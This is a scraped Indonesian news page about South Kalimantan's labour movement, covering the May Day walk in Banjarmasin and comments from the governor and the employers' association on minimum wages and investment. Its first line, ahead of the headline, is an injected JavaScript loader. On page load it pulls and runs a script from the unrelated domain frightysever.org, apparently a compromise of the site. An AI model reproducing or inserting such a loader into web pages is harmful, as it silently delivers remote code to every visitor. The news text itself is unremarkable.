(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gerakan Buruh, Antara Kesejahteraan dan Tarikan Mesin Politik


Buruh Kalsel

Berbeda dengan gerakan buruh di pusat, pergerakan buruh di daerah, khususnya Kalsel, masih belum memiliki metode berhimpun untuk konsolidasi kekuatan. Baik pada tingkat jaringan asosiasi buruh, maupun bargaining politik.

Walhasil, isu gerakan buruh di sini masih sebatas pada seremonial dan tawar-menawar dalam menentukan nilai Upah Minimum Provinsi (UMP) dan hal hal teksnis lain yang lebih banyak peran dari pemerintah. Maka tak heran, dalam setiap musim politik hampir tidak ditemukan upaya para serikat buruh di Kalsel yang menggalang kontrak politik dengan kandidat atau lainnya.

Bisa jadi, karena suara buruh di Kalsel memang masih sangat cair serta keberadaan ‘rezim’ kepentingan investasi Banua yang terus digaungkan pemerintah. Sehingga, wacana gerakan buruh tak pernah menjadi ideologis, alih alih hanya menjadi instrumen semata.

(baca: Saat Jalan Santai Menggantikan “Long Marc” dalam Aksi May Day di Kalsel).

Selasa (1/5) pagi, ratusan buruh sudah berkumpul di tugu Nol Kilometer, Banjarmasin. Mereka bersiap menggelar acara jalan sehat yang diselenggarakan kerjasama antara Dinas Tenaga Kerja dan Transmigrasi Kalsel dan KSBSI.

Acara yang dihadiri Gubernur Kalsel H Sahbirin Noor juga diisi panggung hiburan, dan bagi-bagi door prize. Sahbirin dalam sambutannya mengatakan, hari Buruh Internasional adalah agenda tahunan dan merupakan hari perjuangan para buruh dalam menuntut kesejahteraan. Dia memastikan, bahwa Pemprov akan terus memperjuangkan agar para buruh yang ada di Banua benar-benar mendapat taraf sejahtera. “Bagi kami, perjuangan buruh adalah perjuangan daerah,” tegas Sahbirin.

Sementara Ketua Asosiasi Pengusaha Indonesia (Apindo) Kalsel Dr H Supriadi mengatakan, kondusifitas ini diperlukan untuk menjaga stabilitas ekonomi. “Dengan buruh ikut menjaga kondusifnya kegiatan ekonomi, maka tentunya bisa mendorong makin tertariknya perusahaan luar untuk masuk berinvestasi di Kalsel,” katanya.

Menyoal kesejahteraan buruh, dia mengatakan mulai ada peningkatan seiring dengan terus membaiknya pertumbuhan ekonomi. “Kita harapkan dengan kondisi ini pertumbuhan ekonomi Kalsel bisa terus membaiklah. Dengan begitu tentunya tiap tahunnya kita bisa konsisten menaikkan kesejahteraan buruh melalui peningkatan Standar Upah Minimum Provinsi (UMP),” tambahnya.(cel/berbagai sumber)

Reporter: Cel/berbagai sumber
Editor: Chell

Page: 1 2 3

Desy Arfianty

Recent Posts

Disarpus Kapuas Siapkan Pelatihan Pengelolaan Kearsipan di ANRI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas pertengahan Februari nanti akan mengadakan pelatihan pengelolaan… Read More

6 bulan ago

165 Program Bantuan YBM PLN UIP3B Kalimantan di 2024, Salurkan ke 6.830 Penerima Manfaat

KANALKALIMANTAN.COM, BANJARBARU - Yayasan Baitul Maal (YBM) PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

6 bulan ago

Sidang Gugatan di MK: Ini Dalih KPU Banjarbaru Tak Cetak Surat Suara Ulang

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemilihan Umum (KPU) Banjarbaru menjawab alasan tidak melakukan percetakan surat suara… Read More

6 bulan ago

Pemkab Kapuas Luncurkan Program Kapuas Bugar dan Juara

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas resmi meluncurkan program unggulan bernama Kapuas Bugar… Read More

6 bulan ago

Inovasi di Kabupaten Banjar Terus Meningkat

KANALKALIMANTAN.COM, MARTAPURA - Jumlah inovasi di Kabupaten Banjar mengalami peningkatan signifikan dari 69 inovasi pada… Read More

6 bulan ago

Kasus Dugaan Pelecehan Seksual di Banjarbaru, Polisi Tunggu Pelapor Selesaikan Mediasi

KANALKALIMANTAN.COM, BANJARBARU - Kasus dugaan pelecehan seksual yang dialami oleh salah satu Tenaga Kesehatan (Nakes)… Read More

6 bulan ago

This website uses cookies.